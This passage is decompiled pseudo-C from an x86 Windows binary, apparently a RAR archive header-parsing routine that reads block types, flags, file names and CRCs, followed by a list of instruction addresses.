						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
					_t340 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6554) = _t340;
					 *(_t509 + 0x655c) = _t340 >> 0x0000000e & 0x00000001;
					_t344 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6558) = _t344;
					 *(_t509 + 0x6550) = _t677;
					__eflags = _t344 - 7;
					if(__eflags >= 0) {
						_t677 = _t677 - 0x73;
						__eflags = _t677;
						_t652 = 3;
						if(_t677 == 0) {
							 *(_t509 + 0x6550) = 1;
						} else {
							_t677 = _t677 - 1;
							__eflags = _t677;
							if(_t677 == 0) {
								 *(_t509 + 0x6550) = 2;
							} else {
								_t677 = _t677 - 6;
								__eflags = _t677;
								if(_t677 == 0) {
									 *(_t509 + 0x6550) = _t652;
								} else {
									_t677 = _t677 - 1;
									__eflags = _t677;
									if(_t677 == 0) {
										 *(_t509 + 0x6550) = 5;
									}
								}
							}
						}
						_t521 =  *(_t509 + 0x6550);
						 *(_t509 + 0x6544) = _t521;
						__eflags = _t521 - 0x75;
						if(_t521 != 0x75) {
							__eflags = _t521 - 1;
							if(_t521 != 1) {
								L26:
								_t345 = _t344 + 0xfffffff9;
								__eflags = _t345;
								_push(_t345);
								L27:
								E0040B4C8(_t685 - 0x48, _t652);
								_t347 = E004010D4(_t509,  *(_t509 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								 *((intOrPtr*)(_t509 + 0xb048)) = _t347 +  *((intOrPtr*)(_t509 + 0xb040));
								_t349 =  *(_t509 + 0x6550);
								 *((intOrPtr*)(_t509 + 0xb04c)) = 0;
								__eflags = _t349 - 1;
								if(__eflags == 0) {
									_t653 = _t509 + 0x6570;
									E00409B19(_t653);
									_t526 = 5;
									memcpy(_t653, _t509 + 0x654c, _t526 << 2);
									 *(_t509 + 0x6584) = E0040B57A(_t685 - 0x48);
									_t677 = E0040B5AF(_t685 - 0x48);
									_t530 = _t509 + 0x6578;
									_t531 =  *_t530;
									 *(_t509 + 0xb055) =  *_t530 & 0x00000001;
									 *(_t509 + 0xb054) = _t531 >> 0x00000003 & 0x00000001;
									 *(_t509 + 0xb057) = _t531 >> 0x00000002 & 0x00000001;
									 *(_t509 + 0xb05b) = _t531 >> 0x00000006 & 0x00000001;
									 *(_t509 + 0x6588) = _t677;
									 *(_t509 + 0xb05c) = _t531 >> 0x00000007 & 0x00000001;
									__eflags = _t677;
									if(_t677 != 0) {
										L114:
										_t369 = 1;
										__eflags = 1;
										L115:
										 *((char*)(_t509 + 0xb058)) = _t369;
										 *(_t509 + 0x658c) = _t531 >> 0x00000001 & 0x00000001;
										_t533 = _t531 >> 0x00000004 & 0x00000001;
										__eflags = _t533;
										 *(_t509 + 0xb059) = _t531 >> 0x00000008 & 0x00000001;
										 *(_t509 + 0xb05a) = _t533;
										L116:
										_t650 = 0;
										_t376 = E0040B6E6(_t685 - 0x48, 0);
										__eflags =  *(_t509 + 0x654c) - (_t376 & 0x0000ffff);
										if( *(_t509 + 0x654c) == (_t376 & 0x0000ffff)) {
											L128:
											__eflags =  *((intOrPtr*)(_t509 + 0xb04c)) -  *((intOrPtr*)(_t509 + 0xb044));
											if(__eflags > 0) {
												L131:
												_t680 =  *((intOrPtr*)(_t685 - 0x34));
												__eflags =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
												if(__eflags != 0) {
													_push( *((intOrPtr*)(_t685 - 0x48)));
													E0041A506(_t509, _t650, _t680, __eflags);
												}
												_t334 = _t680;
												goto L134;
											}
											if(__eflags < 0) {
												goto L13;
											}
											__eflags =  *((intOrPtr*)(_t509 + 0xb048)) -  *((intOrPtr*)(_t509 + 0xb040));
											if(__eflags <= 0) {
												goto L13;
											}
											goto L131;
										}
										_t382 =  *(_t509 + 0x6550);
										__eflags = _t382 - 0x79;
										if(_t382 == 0x79) {
											goto L128;
										}
										__eflags = _t382 - 0x76;
										if(_t382 == 0x76) {
											goto L128;
										}
										__eflags = _t382 - 5;
										if(_t382 != 5) {
											L126:
											 *((char*)(_t509 + 0xb064)) = 1;
											E004062BA(0x4335ac, 3);
											__eflags =  *((char*)(_t685 - 0xe));
											if( *((char*)(_t685 - 0xe)) == 0) {
												goto L128;
											}
											E0040639F(4, _t509 + 0x1e, _t509 + 0x1e);
											 *((char*)(_t509 + 0xb065)) = 1;
											goto L6;
										}
										__eflags =  *(_t509 + 0x8906);
										if( *(_t509 + 0x8906) == 0) {
											goto L126;
										}
										E0040117B(_t685 - 0x58, _t644, _t509);
										 *((char*)(_t685 - 4)) = 1;
										_t388 =  *((intOrPtr*)( *_t509 + 0x10))();
										_t681 = 7;
										_t389 = _t388 - _t681;
										__eflags = _t389;
										asm("sbb edx, edi");
										 *((intOrPtr*)( *_t509 + 0xc))(_t389, _t644, 0);
										 *((char*)(_t685 - 0xd)) = 1;
										do {
											_t392 = E00408C2F(_t509);
											__eflags = _t392;
											if(_t392 != 0) {
												 *((char*)(_t685 - 0xd)) = 0;
											}
											_t681 = _t681 - 1;
											__eflags = _t681;
										} while (_t681 != 0);
										 *((char*)(_t685 - 4)) = 0;
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t685 - 0x58)))) + 0xc))( *((intOrPtr*)(_t685 - 0x50)),  *(_t685 - 0x4c), _t650);
										__eflags =  *((char*)(_t685 - 0xd));
										if( *((char*)(_t685 - 0xd)) != 0) {
											goto L128;
										}
										goto L126;
									}
									_t369 = 0;
									__eflags =  *(_t509 + 0x6584);
									if( *(_t509 + 0x6584) == 0) {
										goto L115;
									}
									goto L114;
								}
								if(__eflags <= 0) {
									L110:
									__eflags =  *(_t509 + 0x6554) & 0x00008000;
									if(( *(_t509 + 0x6554) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) + E0040B5AF(_t685 - 0x48);
										asm("adc dword [ebx+0xb04c], 0x0");
									}
									goto L116;
								}
								__eflags = _t349 - _t652;
								if(_t349 <= _t652) {
									__eflags = _t349 - 2;
									 *((char*)(_t685 - 0xd)) = _t349 == 2;
									__eflags =  *((char*)(_t685 - 0xd));
									_t396 = _t509 + 0x65e8;
									if( *((char*)(_t685 - 0xd)) == 0) {
										_t396 = _t509 + 0x8928;
									}
									_t656 = _t396;
									 *(_t685 - 0x14) = _t396;
									E00409B44(_t656, 0);
									_t545 = 5;
									memcpy(_t656, _t509 + 0x654c, _t545 << 2);
									_t683 =  *(_t685 - 0x14);
									 *(_t683 + 0x1088) =  *(_t683 + 8) & 0x00000001;
									_t401 =  *(_t683 + 8);
									 *(_t683 + 0x1089) = _t401 >> 0x00000001 & 0x00000001;
									 *(_t683 + 0x108b) = _t401 >> 0x00000002 & 0x00000001;
									__eflags =  *((char*)(_t685 - 0xd));
									 *(_t683 + 0x1090) = _t401 >> 0x0000000a & 0x00000001;
									if( *((char*)(_t685 - 0xd)) == 0) {
										L40:
										_t556 = 0;
										__eflags = 0;
										goto L41;
									} else {
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L40;
										}
										_t556 = 1;
										L41:
										__eflags =  *((char*)(_t685 - 0xd));
										_t677 =  *(_t685 - 0x14);
										 *((char*)(_t677 + 0x10e0)) = _t556;
										if( *((char*)(_t685 - 0xd)) != 0) {
											L44:
											_t557 = 0;
											__eflags = 0;
											L45:
											 *((char*)(_t677 + 0x10ea)) = _t557;
											_t559 = _t401 & 0x000000e0;
											__eflags = _t559 - 0xe0;
											_t560 = _t559 & 0xffffff00 | _t559 == 0x000000e0;
											 *(_t677 + 0x10e1) = _t560;
											__eflags = _t560;
											if(_t560 == 0) {
												_t646 = 0x10000 << (_t401 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t646 = 0;
											}
											 *(_t677 + 0x10e2) = _t401 >> 0x00000003 & 0x00000001;
											 *(_t677 + 0x10e4) = _t646;
											 *(_t677 + 0x10e3) = _t401 >> 0x0000000b & 0x00000001;
											 *((intOrPtr*)(_t677 + 0x14)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x1c) = E0040B5AF(_t685 - 0x48);
											_t406 = E0040B562(_t685 - 0x48);
											_t659 = 2;
											 *((char*)(_t677 + 0x18)) = _t406;
											 *(_t677 + 0x1060) = _t659;
											 *((intOrPtr*)(_t677 + 0x1064)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x20) = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x19) = E0040B562(_t685 - 0x48);
											 *((char*)(_t677 + 0x1a)) = E0040B562(_t685 - 0x48) - 0x30;
											 *(_t685 - 0x14) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
											_t414 = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x108c) =  *(_t677 + 0x108c) & 0x00000000;
											__eflags =  *((char*)(_t677 + 0x108b));
											 *(_t677 + 0x1c) = _t414;
											if( *((char*)(_t677 + 0x108b)) == 0) {
												L57:
												_t644 =  *((intOrPtr*)(_t677 + 0x18));
												 *(_t677 + 0x10ec) = _t659;
												__eflags = _t644 - 3;
												if(_t644 == 3) {
													L61:
													 *(_t677 + 0x10ec) = 1;
													L62:
													_t660 = 0;
													_t576 = _t677 + 0x10f0;
													 *_t576 = 0;
													__eflags = _t644 - 3;
													if(_t644 == 3) {
														_t644 = _t414 & 0x0000f000;
														__eflags = _t644 - 0xa000;
														if(_t644 == 0xa000) {
															 *_t576 = 1;
															__eflags = 0;
															 *((short*)(_t677 + 0x10f4)) = 0;
														}
													}
													__eflags =  *((char*)(_t685 - 0xd));
													if( *((char*)(_t685 - 0xd)) != 0) {
														L68:
														_t415 = 0;
														__eflags = 0;
														goto L69;
													} else {
														__eflags = _t414;
														if(_t414 >= 0) {
															goto L68;
														}
														_t415 = 1;
														L69:
														 *((char*)(_t677 + 0x10e8)) = _t415;
														_t418 =  *(_t677 + 8) >> 0x00000008 & 0x00000001;
														__eflags = _t418;
														 *(_t677 + 0x10e9) = _t418;
														if(_t418 == 0) {
															__eflags =  *(_t685 - 0x1c) - 0xffffffff;
															 *((intOrPtr*)(_t685 - 0x18)) = _t660;
															_t131 =  *(_t685 - 0x1c) == 0xffffffff;
															__eflags = _t131;
															_t419 = _t418 & 0xffffff00 | _t131;
															L75:
															 *(_t677 + 0x108a) = _t419;
															_t420 = E0041ABD0(_t660, 0, 0, 1);
															asm("adc edx, edi");
															 *((intOrPtr*)(_t677 + 0x1048)) = _t420 +  *((intOrPtr*)(_t677 + 0x14));
															 *(_t677 + 0x104c) = _t644;
															_t422 = E0041ABD0( *((intOrPtr*)(_t685 - 0x18)), 0, 0, 1);
															asm("adc edx, ecx");
															 *(_t677 + 0x1050) = _t422 +  *(_t685 - 0x1c);
															 *(_t677 + 0x1054) = _t644;
															__eflags =  *(_t677 + 0x108a);
															if( *(_t677 + 0x108a) != 0) {
																 *(_t677 + 0x1050) = 0x7fffffff;
																 *(_t677 + 0x1054) = 0x7fffffff;
															}
															_t662 = 0x1fff;
															__eflags =  *(_t685 - 0x14) - 0x1fff;
															if( *(_t685 - 0x14) < 0x1fff) {
																_t662 =  *(_t685 - 0x14);
															}
															E0040B696(_t685 - 0x48, _t685 - 0x2880, _t662);
															__eflags =  *((char*)(_t685 - 0xd));
															 *((char*)(_t685 + _t662 - 0x2880)) = 0;
															if( *((char*)(_t685 - 0xd)) == 0) {
																 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																E00411B3C(_t685 - 0x2880, _t677 + 0x20, 0x800);
																_t665 =  *((intOrPtr*)(_t677 + 0xc)) -  *(_t685 - 0x14) - 0x20;
																__eflags =  *(_t677 + 8) & 0x00000400;
																if(( *(_t677 + 8) & 0x00000400) != 0) {
																	_t665 = _t665 - 8;
																	__eflags = _t665;
																}
																__eflags = _t665;
																if(_t665 > 0) {
																	E00401C1D(_t677 + 0x1020, _t665);
																	E0040B696(_t685 - 0x48,  *((intOrPtr*)(_t677 + 0x1020)), _t665);
																	_t461 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a494);
																	__eflags = _t461;
																	if(_t461 == 0) {
																		_t644 =  *( *((intOrPtr*)(_t677 + 0x1020)) + 9) & 0x000000ff;
																		 *(_t509 + 0x652c) =  *(_t509 + 0x652c) & 0x00000000;
																		 *((intOrPtr*)(_t509 + 0x6528)) = E0041ABD0((((( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xb) & 0x000000ff) << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xa) & 0x000000ff) << 8) + _t644 << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 8) & 0x000000ff),  *(_t509 + 0x652c), 0x200, 0);
																		 *(_t509 + 0x652c) = _t644;
																		 *((intOrPtr*)(_t685 - 0x28)) =  *((intOrPtr*)( *_t509 + 0x10))();
																		 *(_t685 - 0x24) = _t644;
																		_t468 = E00410B07( *((intOrPtr*)(_t509 + 0x6528)),  *(_t509 + 0x652c), _t467, _t644);
																		 *(_t509 + 0x6530) = _t468;
																		_t670 = _t468;
																		_t469 = E0041AB20( *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24), 0xc8, 0);
																		asm("adc edx, [ebx+0x652c]");
																		_t471 = E00410B07(_t469 +  *((intOrPtr*)(_t509 + 0x6528)), _t644,  *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24));
																		__eflags = _t471 - _t670;
																		if(_t471 > _t670) {
																			_t671 = _t670 + 1;
																			__eflags = _t671;
																			 *(_t509 + 0x6530) = _t671;
																		}
																	}
																}
																_t429 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a48c);
																__eflags = _t429;
																if(_t429 == 0) {
																	 *((char*)(_t509 + 0xb056)) = 1;
																}
															} else {
																__eflags =  *(_t677 + 8) & 0x00000200;
																if(( *(_t677 + 8) & 0x00000200) == 0) {
																	_t472 = _t677 + 0x20;
																	_t609 = 0;
																	__eflags = 0;
																	 *((intOrPtr*)(_t685 - 0x18)) = _t472;
																	 *_t472 = 0;
																} else {
																	E0040612E(_t685 - 0x5c);
																	_t481 = E0041AA60(_t685 - 0x2880);
																	 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																	_t609 = _t685 - 0x5c;
																	E0040613F(_t685 - 0x5c, _t685 - 0x2880, _t685 + _t481 + 1 - 0x2880,  *(_t685 - 0x14) - _t481 + 1, _t677 + 0x20, 0x800);
																}
																E00410B32(_t685 - 0x2880, _t685 - 0x880, 0x800);
																E0040A386(_t609, _t685 - 0x880,  *((intOrPtr*)(_t685 - 0x18)),  *((intOrPtr*)(_t685 - 0x18)), 0x800);
																E00401A7E(_t509, _t677);
															}
															__eflags =  *(_t677 + 8) & 0x00000400;
															if(( *(_t677 + 8) & 0x00000400) != 0) {
																E0040B696(_t685 - 0x48, _t677 + 0x1091, 8);
															}
															E00411650( *(_t685 - 0x20));
															__eflags =  *(_t677 + 8) & 0x00001000;
															if(( *(_t677 + 8) & 0x00001000) == 0) {
																L107:
																 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) +  *((intOrPtr*)(_t677 + 0x1048));
																asm("adc [ebx+0xb04c], eax");
																 *(_t685 - 0x24) =  *(_t677 + 0x10e2);
																_t434 = E0040B6E6(_t685 - 0x48,  *(_t685 - 0x24));
																__eflags =  *_t677 - (_t434 & 0x0000ffff);
																if( *_t677 != (_t434 & 0x0000ffff)) {
																	 *((char*)(_t509 + 0xb064)) = 1;
																	E004062BA(0x4335ac, 1);
																	__eflags =  *((char*)(_t685 - 0xe));
																	if( *((char*)(_t685 - 0xe)) == 0) {
																		E0040639F(0x1a, _t509 + 0x1e,  *((intOrPtr*)(_t685 - 0x18)));
																	}
																}
																goto L116;
															} else {
																_t439 = E0040B57A(_t685 - 0x48);
																 *(_t685 - 0x4c) =  *(_t685 - 0x4c) & 0x00000000;
																_t217 = _t685 - 0x14;
																 *_t217 =  *(_t685 - 0x14) & 0x00000000;
																__eflags =  *_t217;
																 *((intOrPtr*)(_t685 - 0x58)) = _t509 + 0x7618;
																 *((intOrPtr*)(_t685 - 0x54)) = _t509 + 0x7620;
																 *((intOrPtr*)(_t685 - 0x50)) = _t509 + 0x7628;
																 *(_t685 - 0x24) = _t439 & 0xffff;
																 *(_t685 - 0x1c) = 0xc;
																do {
																	_t666 =  *(_t685 +  *(_t685 - 0x14) * 4 - 0x58);
																	_t444 =  *(_t685 - 0x24) >>  *(_t685 - 0x1c);
																	 *(_t685 - 0x20) = _t444;
																	__eflags = _t444 & 0x00000008;
																	if((_t444 & 0x00000008) == 0) {
																		goto L106;
																	}
																	__eflags = _t666;
																	if(_t666 == 0) {
																		goto L106;
																	}
																	__eflags =  *(_t685 - 0x14);
																	if( *(_t685 - 0x14) != 0) {
																		E00411650(E0040B5AF(_t685 - 0x48));
																	}
																	E004113F1(_t666, _t685 - 0x80);
																	__eflags =  *(_t685 - 0x20) & 0x00000004;
																	if(( *(_t685 - 0x20) & 0x00000004) != 0) {
																		_t242 = _t685 - 0x6c;
																		 *_t242 =  *(_t685 - 0x6c) + 1;
																		__eflags =  *_t242;
																	}
																	 *(_t685 - 0x68) =  *(_t685 - 0x68) & 0x00000000;
																	_t448 =  *(_t685 - 0x20) & 0x00000003;
																	__eflags = _t448;
																	if(_t448 <= 0) {
																		L105:
																		E00411541( *(_t685 +  *(_t685 - 0x14) * 4 - 0x58), _t685 - 0x80);
																	} else {
																		_t667 = 3;
																		_t669 = _t667 - _t448 << 3;
																		__eflags = _t669;
																		 *(_t685 - 0x20) = _t448;
																		do {
																			_t454 = (E0040B562(_t685 - 0x48) & 0x000000ff) << _t669;
																			_t669 = _t669 + 8;
																			 *(_t685 - 0x68) =  *(_t685 - 0x68) | _t454;
																			_t251 = _t685 - 0x20;
																			 *_t251 =  *(_t685 - 0x20) - 1;
																			__eflags =  *_t251;
																		} while ( *_t251 != 0);
																		goto L105;
																	}
																	L106:
																	 *(_t685 - 0x1c) =  *(_t685 - 0x1c) - 4;
																	 *(_t685 - 0x14) =  *(_t685 - 0x14) + 1;
																	__eflags =  *(_t685 - 0x1c) - 0xfffffffc;
																} while ( *(_t685 - 0x1c) > 0xfffffffc);
																goto L107;
															}
														}
														_t660 = E0040B5AF(_t685 - 0x48);
														_t488 = E0040B5AF(_t685 - 0x48);
														__eflags =  *(_t685 - 0x1c) - 0xffffffff;
														 *((intOrPtr*)(_t685 - 0x18)) = _t488;
														if( *(_t685 - 0x1c) != 0xffffffff) {
															L73:
															_t419 = 0;
															goto L75;
														}
														__eflags = _t488 - 0xffffffff;
														if(_t488 != 0xffffffff) {
															goto L73;
														}
														_t419 = 1;
														goto L75;
													}
												}
												__eflags = _t644 - 5;
												if(_t644 == 5) {
													goto L61;
												}
												__eflags = _t644 - 6;
												if(_t644 < 6) {
													 *(_t677 + 0x10ec) =  *(_t677 + 0x10ec) & 0x00000000;
												}
												goto L62;
											} else {
												_t620 = ( *(_t677 + 0x19) & 0x000000ff) - 0xd;
												__eflags = _t620;
												if(_t620 == 0) {
													 *(_t677 + 0x108c) = 1;
													goto L57;
												}
												_t621 = _t620 - _t659;
												__eflags = _t621;
												if(_t621 == 0) {
													 *(_t677 + 0x108c) = _t659;
													goto L57;
												}
												_t622 = _t621 - 5;
												__eflags = _t622;
												if(_t622 == 0) {
													L54:
													 *(_t677 + 0x108c) = 3;
													goto L57;
												}
												__eflags = _t622 == 6;
												if(_t622 == 6) {
													goto L54;
												}
												 *(_t677 + 0x108c) = 4;
												goto L57;
											}
										}
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L44;
										}
										_t557 = 1;
										goto L45;
									}
								}
								__eflags = _t349 - 5;
								if(_t349 != 5) {
									goto L110;
								} else {
									_push(_t349);
									_t492 = memcpy(_t509 + 0x88e8, _t509 + 0x654c, 0 << 2);
									_t676 =  *_t492;
									 *(_t509 + 0x8904) =  *_t492 & 0x00000001;
									 *(_t509 + 0x8906) = _t676 >> 0x00000002 & 0x00000001;
									_t495 = _t676 >> 0x00000001 & 0x00000001;
									_t677 = _t509 + 0x8907;
									 *(_t509 + 0x8905) = _t495;
									 *_t677 = _t676 >> 0x00000003 & 0x00000001;
									__eflags = _t495;
									if(_t495 != 0) {
										 *((intOrPtr*)(_t509 + 0x88fc)) = E0040B5AF(_t685 - 0x48);
									}
									__eflags =  *_t677;
									if( *_t677 != 0) {
										_t497 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
										 *(_t509 + 0x8900) = _t497;
										 *(_t509 + 0xb078) = _t497;
									}
									goto L116;
								}
							}
							__eflags =  *(_t509 + 0x6554) & 0x00000002;
							if(( *(_t509 + 0x6554) & 0x00000002) != 0) {
								goto L23;
							}
							goto L26;
						}
						L23:
						_push(6);
						goto L27;
					}
					L13:
					E00401C80(_t509);
					goto L6;
				}
				_t644 =  *(__ecx + 0xb044);
				_t500 =  *((intOrPtr*)(__ecx + 0xb060)) + 7;
				asm("adc ecx, edi");
				_t694 = _t644;
				if(_t694 < 0 || _t694 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t500) {
					goto L9;
				} else {
					 *((char*)(_t685 - 0xe)) = 1;
					E00401BBB(_t509);
					_t503 =  *((intOrPtr*)( *_t509 + 8))(_t685 - 0x28, 8);
					_t696 = _t503 - 8;
					if(_t503 == 8) {
						__eflags =  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024;
						_t677 = _t509 + 0x1024;
						E00405FE7(_t677, _t644, _t650, 4,  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024, _t685 - 0x28, _t650, _t650, _t650, _t650);
						 *(_t685 - 0x2c) = _t677;
						goto L11;
					}
					goto L5;
				}
			}

0x00401cc6
0x00401cd0
0x00401cd6
0x00401cd7
0x00401cde
0x00401ce3
0x00401cec
0x00401cef
0x00401d4d
0x00401d4d
0x00401d7a
0x00401d7f
0x00401d84
0x00401d87
0x00401d31
0x00401d33
0x00401d38
0x00401d38
0x00401d3b
0x00401d3d
0x00401d40
0x00401d45
0x00401d46
0x0040271f
0x00402725
0x0040272d
0x0040272d
0x00401d97
0x00401d9d
0x00401dac
0x00401db4
0x00401db7
0x00401dc5
0x00401dd0
0x00401dd3
0x00401dd9
0x00401ddf
0x00401de2
0x00401df0
0x00401df0
0x00401df5
0x00401df6
0x00401e23
0x00401df8
0x00401df8
0x00401df8
0x00401df9
0x00401e17
0x00401dfb
0x00401dfb
0x00401dfb
0x00401dfe
0x00401e0f
0x00401e00
0x00401e00
0x00401e00
0x00401e01
0x00401e03
0x00401e03
0x00401e01
0x00401dfe
0x00401df9
0x00401e2d
0x00401e33
0x00401e39
0x00401e3c
0x00401e42
0x00401e45
0x00401e50
0x00401e50
0x00401e50
0x00401e53
0x00401e54
0x00401e57
0x00401e64
0x00401e71
0x00401e77
0x00401e7d
0x00401e83
0x00401e89
0x00401e8c
0x00402567
0x0040256f
0x00402576
0x0040257d
0x0040258a
0x00402596
0x00402598
0x004025a0
0x004025a4
0x004025b1
0x004025be
0x004025cb
0x004025d8
0x004025de
0x004025e4
0x004025e6
0x004025f3
0x004025f5
0x004025f5
0x004025f6
0x004025f6
0x00402602
0x00402612
0x00402612
0x00402615
0x0040261b
0x00402621
0x00402621
0x00402627
0x0040262f
0x00402635
0x004026e6
0x004026ec
0x004026f2
0x0040270c
0x0040270c
0x0040270f
0x00402712
0x00402714
0x00402717
0x0040271c
0x0040271d
0x00000000
0x0040271d
0x004026f4
0x00000000
0x00000000
0x00402700
0x00402706
0x00000000
0x00000000
0x00000000
0x00402706
0x0040263b
0x00402641
0x00402644
0x00000000
0x00000000
0x0040264a
0x0040264d
0x00000000
0x00000000
0x00402653
0x00402656
0x004026b5
0x004026bc
0x004026c3
0x004026c8
0x004026cc
0x00000000
0x00000000
0x004026d5
0x004026da
0x00000000
0x004026da
0x00402658
0x0040265f
0x00000000
0x00000000
0x00402665
0x0040266e
0x00402672
0x00402678
0x00402679
0x00402679
0x0040267b
0x00402683
0x00402686
0x0040268a
0x0040268c
0x00402691
0x00402693
0x00402695
0x00402695
0x00402699
0x00402699
0x00402699
0x004026a5
0x004026ac
0x004026af
0x004026b3
0x00000000
0x00000000
0x00000000
0x004026b3
0x004025e8
0x004025ea
0x004025f1
0x00000000
0x00000000
0x00000000
0x004025f1
0x00401e92
0x0040253d
0x0040253d
0x00402547
0x00402555
0x0040255b
0x0040255b
0x00000000
0x00402547
0x00401e98
0x00401e9a
0x00401f2d
0x00401f30
0x00401f34
0x00401f38
0x00401f3e
0x00401f40
0x00401f40
0x00401f46
0x00401f4c
0x00401f4f
0x00401f56
0x00401f5d
0x00401f5f
0x00401f67
0x00401f6d
0x00401f77
0x00401f85
0x00401f93
0x00401f97
0x00401f9d
0x00401fa8
0x00401fa8
0x00401fa8
0x00000000
0x00401f9f
0x00401f9f
0x00401fa1
0x00000000
0x00000000
0x00401fa5
0x00401faa
0x00401faa
0x00401fae
0x00401fb1
0x00401fb7
0x00401fc2
0x00401fc2
0x00401fc2
0x00401fc4
0x00401fc4
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd8
0x00401fde
0x00401fe0
0x00401ff3
0x00401ff3
0x00401fe2
0x00401fe2
0x00401fe2
0x00402000
0x0040200b
0x00402011
0x0040201f
0x0040202a
0x0040202d
0x00402034
0x00402038
0x0040203b
0x00402049
0x00402057
0x00402062
0x0040206f
0x0040207d
0x00402080
0x00402085
0x0040208c
0x00402093
0x00402096
0x004020d9
0x004020d9
0x004020dc
0x004020e2
0x004020e5
0x004020fa
0x004020fa
0x00402104
0x00402104
0x00402106
0x0040210c
0x0040210e
0x00402111
0x00402115
0x0040211b
0x00402121
0x00402123
0x00402129
0x0040212b
0x0040212b
0x00402121
0x00402132
0x00402136
0x00402141
0x00402141
0x00402141
0x00000000
0x00402138
0x00402138
0x0040213a
0x00000000
0x00000000
0x0040213e
0x00402143
0x00402143
0x0040214f
0x0040214f
0x00402151
0x00402157
0x00402182
0x00402186
0x00402189
0x00402189
0x00402189
0x0040218c
0x00402193
0x00402199
0x004021ac
0x004021ae
0x004021b4
0x004021ba
0x004021c4
0x004021c6
0x004021cc
0x004021d2
0x004021d8
0x004021df
0x004021e5
0x004021e5
0x004021eb
0x004021f0
0x004021f3
0x004021f5
0x004021f5
0x00402203
0x00402208
0x0040220c
0x00402214
0x004022ad
0x004022b7
0x004022c2
0x004022c5
0x004022cc
0x004022ce
0x004022ce
0x004022ce
0x004022d1
0x004022d3
0x004022e0
0x004022ef
0x004022fc
0x00402303
0x00402305
0x00402321
0x00402328
0x0040234c
0x00402356
0x00402367
0x00402370
0x00402373
0x0040237b
0x00402384
0x00402393
0x0040239e
0x004023a6
0x004023ab
0x004023ad
0x004023af
0x004023af
0x004023b0
0x004023b0
0x004023ad
0x00402305
0x004023be
0x004023c5
0x004023c7
0x004023c9
0x004023c9
0x0040221a
0x0040221a
0x00402226
0x00402265
0x00402268
0x00402268
0x0040226a
0x0040226d
0x00402228
0x0040222b
0x00402237
0x00402242
0x0040225b
0x0040225e
0x0040225e
0x0040227f
0x00402292
0x0040229a
0x0040229a
0x004023d0
0x004023d7
0x004023e5
0x004023e5
0x004023f3
0x004023f8
0x004023ff
0x004024d6
0x004024dc
0x004024eb
0x004024f7
0x004024fd
0x00402505
0x00402507
0x00402514
0x0040251b
0x00402520
0x00402524
0x00402533
0x00402533
0x00402524
0x00000000
0x00402405
0x00402408
0x0040240d
0x00402411
0x00402411
0x00402411
0x0040241e
0x0040242a
0x00402433
0x00402436
0x00402439
0x00402440
0x00402443
0x0040244d
0x0040244f
0x00402452
0x00402454
0x00000000
0x00000000
0x00402456
0x00402458
0x00000000
0x00000000
0x0040245a
0x0040245e
0x0040246b
0x0040246b
0x00402476
0x0040247b
0x0040247f
0x00402481
0x00402481
0x00402481
0x00402481
0x00402487
0x0040248b
0x0040248b
0x0040248e
0x004024b5
0x004024c0
0x00402490
0x00402492
0x00402495
0x00402495
0x00402498
0x0040249b
0x004024a8
0x004024aa
0x004024ad
0x004024b0
0x004024b0
0x004024b0
0x004024b0
0x00000000
0x0040249b
0x004024c5
0x004024c5
0x004024c9
0x004024cc
0x004024cc
0x00000000
0x00402440
0x004023ff
0x00402164
0x00402166
0x0040216b
0x0040216f
0x00402172
0x0040217e
0x0040217e
0x00000000
0x0040217e
0x00402174
0x00402177
0x00000000
0x00000000
0x0040217b
0x00000000
0x0040217b
0x00402136
0x004020e7
0x004020ea
0x00000000
0x00000000
0x004020ec
0x004020ef
0x004020f1
0x004020f1
0x00000000
0x00402098
0x0040209c
0x0040209c
0x0040209f
0x004020cf
0x00000000
0x004020cf
0x004020a1
0x004020a1
0x004020a3
0x004020c7
0x00000000
0x004020c7
0x004020a5
0x004020a5
0x004020a8
0x004020bb
0x004020bb
0x00000000
0x004020bb
0x004020aa
0x004020ad
0x00000000
0x00000000
0x004020af
0x00000000
0x004020af
0x00402096
0x00401fb9
0x00401fbb
0x00000000
0x00000000
0x00401fbf
0x00000000
0x00401fbf
0x00401f9d
0x00401ea0
0x00401ea3
0x00000000
0x00401ea9
0x00401ea9
0x00401ebd
0x00401ec1
